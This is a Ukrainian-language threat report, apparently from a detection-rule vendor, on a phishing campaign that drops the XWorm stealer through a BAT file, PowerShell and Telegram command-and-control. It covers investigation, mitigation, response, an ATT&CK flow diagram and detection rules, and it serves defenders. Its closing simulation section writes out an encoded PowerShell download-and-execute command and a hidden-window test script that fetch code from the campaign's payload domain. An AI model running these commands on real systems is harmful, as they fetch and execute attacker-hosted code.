Шкідливий скрипт доставляє більше шкоди
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Фішинг-лист доставляє шкідливий вкладений файл, що містить BAT-скрипт, який запускає PowerShell для завантаження закодованого в Base64 корисного навантаження. Після декодування корисне навантаження перетворюється в XWorm, .NET стілер, що ідентифікує хост і передає зібрані дані через Telegram-бот. Постійність досягається шляхом створення задачі за розкладом, яка періодично запускає викинутий виконуваний файл. Операція покладається на кілька елементів інфраструктури, включаючи підробний інструмент для зберігання зображень і принаймні одну скомпрометовану IP-адресу для розміщення корисного навантаження.
Розслідування
Перегляд BAT-скрипту виявив однорядковий PowerShell, що отримує файл, схожий на PNG, з домену, контрольованого атакуючим. Вбудований контент в Base64 потім очищається, перевертається і декодується для реконструкції .NET виконуваного файлу. Аналіз бінарних файлів показав, що шкідливе програмне забезпечення реєструє заплановане завдання під назвою Chromiumx2 і використовує API Telegram для командного управління і передачі даних. Слідчі виділили ключові мережеві індикатори, включаючи домен хостингу, асоційовану IP-адресу та кінцеву точку API Telegram, зазначені під час виконання.
Пом’якшення
Запобігти виконанню незахищеного BAT і PowerShell контенту, що походить з вкладених файлів електронної пошти чи директорій завантаження користувача. Застосувати дозвіл для додатків, щоб обмежити створення завдань за розкладом і виявляти підозрілі нові реєстрації завдань. Моніторити і, де можливо, обмежити вихідний доступ до кінцевих точок API Telegram і блокувати виявлені шкідливі домени на рівні DNS/проксі. Підтримувати актуальність детекцій кінцевих точок з врахуванням нових індикаторів і шаблонів завантаження на основі скриптів.
Відповідь
Ізолювати кінцеві точки, де спостерігається завдання за розкладом Chromiumx2 або Chromiumx2.exe. Видалити завдання за розкладом, видалити шкідливий бінарний файл і зібрати артефакти (скрипт, декодоване корисне навантаження, XML завдання та відповідні журнали) для судово-інформаційного аналізу. Шукати по всьому середовищу ту ж назву завдання, поведінку декодування PowerShell і трафік, керований Telegram. Скинути потенційно скомпрометовані облікові дані і повідомити користувачів про фішингове вкладення, щоб зменшити повторне виконання.
graph TB %% Визначення класів classDef technique fill:#99ccff classDef file fill:#ffcc99 classDef process fill:#ffeb99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef c2 fill:#c2f0c2 %% Вузли initial_access[“<b>Техніка</b> – T1566.001 Фішинг із вкладенням<br/><b>Опис</b>: Зловмисник надсилає шкідливий лист із вкладенням .bat.”]:::technique attachment_file[“<b>Файл</b> – malicious_attachment.bat<br/><b>Призначення</b>: Створює PNG-зображення з прихованим shellcode.”]:::file masquerading[“<b>Техніка</b> – T1036.008 Маскування типу файлу<br/><b>Опис</b>: PNG з назвою optimized_MSI.png фактично містить shellcode, обмежений BaseStart- та -BaseEnd.”]:::technique png_image[“<b>Файл</b> – optimized_MSI.png<br/><b>Вміст</b>: Вбудований shellcode з розділювачами.”]:::file user_execution[“<b>Техніка</b> – T1204 Виконання користувачем<br/><b>Опис</b>: Жертва запускає шкідливий batch-файл.”]:::technique powershell_exec[“<b>Техніка</b> – T1059.001 PowerShell<br/><b>Опис</b>: Декодує Base64-дані, реверсує hex-рядки та запускає shellcode.”]:::technique obfuscation[“<b>Техніки</b> – T1027.008, T1027.004, T1027.009, T1027.003, T1027.007<br/><b>Опис</b>: Навантаження засмічене зайвим кодом, реверсованим hex, компілюється на льоту, використовує стеганографію та динамічне вирішення API.”]:::technique c2_communication[“<b>Техніки</b> – T1059.009 Хмарні API, T1102.002 Двосторонній веб-сервіс, T1102.003 Односторонній<br/><b>Опис</b>: .NET бекдор використовує Telegram Bot API для керування.”]:::c2 telegram_api[“<b>Інструмент</b> – Telegram Bot API<br/><b>Endpoint</b>: api.telegram.org”]:::tool persistence[“<b>Техніки</b> – T1543 Створення або модифікація системного процесу, T1546.002 Виконання за подією, T1547.014 Active Setup<br/><b>Опис</b>: Заплановане завдання \”Chromiumx2\” виконується щохвилини; заставка та Active Setup примусово забезпечують запуск.”]:::technique scheduled_task[“<b>Процес</b> – schtasks<br/><b>Завдання</b>: Chromiumx2”]:::process priv_esc[“<b>Техніки</b> – T1055 Інʼєкція процесу, T1574 Перехоплення потоку виконання<br/><b>Опис</b>: Shellcode інʼєктується в легітимний процес для отримання підвищених привілеїв.”]:::technique process_injection[“<b>Процес</b> – Легітимний процес<br/><b>Ціль</b>: Отримує інʼєктований shellcode.”]:::process credential_access[“<b>Техніки</b> – T1555.003 Облікові дані з веб-браузерів, T1539 Викрадення cookie веб-сесій<br/><b>Опис</b>: Chrome-інʼєктор викрадає паролі, cookie та інші дані браузера.”]:::technique chrome_injector[“<b>Шкідливе ПЗ</b> – Chrome Injector<br/><b>Функція</b>: Витягує збережені облікові дані та cookie сесій.”]:::malware discovery[“<b>Техніка</b> – T1217 Виявлення інформації браузера<br/><b>Опис</b>: Перелічує шляхи профілів Chrome і збережені облікові дані.”]:::technique exfiltration[“<b>Техніка</b> – T1041 Екcфільтрація через C2-канал<br/><b>Опис</b>: Зібрані облікові дані та системна інформація передаються через Telegram.”]:::technique lateral_movement[“<b>Техніки</b> – T1080 Забруднення спільного вмісту, T1210 Експлуатація віддалених сервісів<br/><b>Опис</b>: Завантаження додаткових payload для подальшого поширення.”]:::technique additional_payload[“<b>Файл</b> – buildingmoney.txt<br/><b>Призначення</b>: Містить додатковий шкідливий код для бокового переміщення.”]:::file %% Зʼєднання initial_access –>|доставляє| attachment_file attachment_file –>|створює| masquerading masquerading –>|формує| png_image png_image –>|використовується| user_execution user_execution –>|запускає| powershell_exec powershell_exec –>|виконує| obfuscation obfuscation –>|звʼязується з| c2_communication c2_communication –>|використовує| telegram_api c2_communication –>|забезпечує| persistence persistence –>|створює| scheduled_task scheduled_task –>|виконує| priv_esc priv_esc –>|інʼєктує в| process_injection process_injection –>|дозволяє| credential_access credential_access –>|реалізовано через| chrome_injector chrome_injector –>|збирає| discovery discovery –>|передає до| exfiltration exfiltration –>|надсилає дані через| c2_communication c2_communication –>|завантажує| additional_payload additional_payload –>|забезпечує| lateral_movement
Потік атаки
Детекції
Можливе зловживання Telegram як каналу керування та управління (через dns_query)
Переглянути
Підозрілий процес використовує URL в командному рядку (через cmdline)
Переглянути
Завантаження або вивантаження через Powershell (через cmdline)
Переглянути
Schtasks вказує на підозрілий каталог / бінарний / скрипт (через cmdline)
Переглянути
Підозрілі рядки Powershell (через powershell)
Переглянути
Підозрілі файли у загальному профілі користувача (через file_event)
Переглянути
Підозрілі рядки Powershell (через cmdline)
Переглянути
Можливе використання Schtasks або AT для стійкості (через cmdline)
Переглянути
IOC (SourceIP) для виявлення: шкідливий скрипт, що доставляє більше шкідливості
Переглянути
IOC (DestinationIP) для виявлення: шкідливий скрипт, що доставляє більше шкідливості
Переглянути
Створення запланованого завдання для стійкості Chromiumx2 [Створення процесу Windows]
Переглянути
Виявлення завантаження закодованого в Base64 PowerShell корисного навантаження [PowerShell Windows]
Переглянути
Виконання симуляції
Передумова: Перевірка телеметрії та базового стану повинна бути пройденою.
-
Опис атаки та команди:
Атакуючий хоче завантажити і виконати шкідливе корисне навантаження з скомпрометованого веб-сервера. Щоб уникнути класичного виявлення підписів, він вбудовує всю логіку завантаження-і-виконання в один рядок Base64 і викликає PowerShell з-EncodedCommand. Команда посилається на точний URL, який відстежує правило виявлення (https://uniworldrivercruises-co.uk/optimized_MSI.png).-
Кодувати шкідливе навантаження (простий завантажувач, що запускає отриманий скрипт):
$payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')" $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) Write-Host $b64Отриманий B64 (приклад):
SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...(скорочено). -
Виконати закодовану команду:
powershell -EncodedCommand SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...
Цей однорядковий код генерує точну телеметрію, яку очікує правило Sigma: процес PowerShell,
-EncodedCommandпрапор і шкідливий URL всередині декодованого блоку скрипта. -
-
Регресійний тестовий скрипт:
#------------------------------------------------- # Регресійний скрипт для активації правила виявлення #------------------------------------------------- # 1. Створити шкідливе навантаження $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')" $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) # 2. Виконати навантаження за допомогою закодованої команди PowerShell Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -EncodedCommand $b64" ` -WindowStyle Hidden -PassThru | Out-Null Write-Host "Шкідлива закодована команда виконана." #------------------------------------------------- -
Команди очищення:
# Видалити будь-які тимчасові файли (не очікується, бо навантаження струмується безпосередньо) # Припинити будь-які залишкові приховані процеси PowerShell, запущені тестом Get-Process -Name "powershell" -ErrorAction SilentlyContinue | Where-Object {$_.StartInfo.Arguments -match "-EncodedCommand"} | Stop-Process -Force Write-Host "Очищення завершено."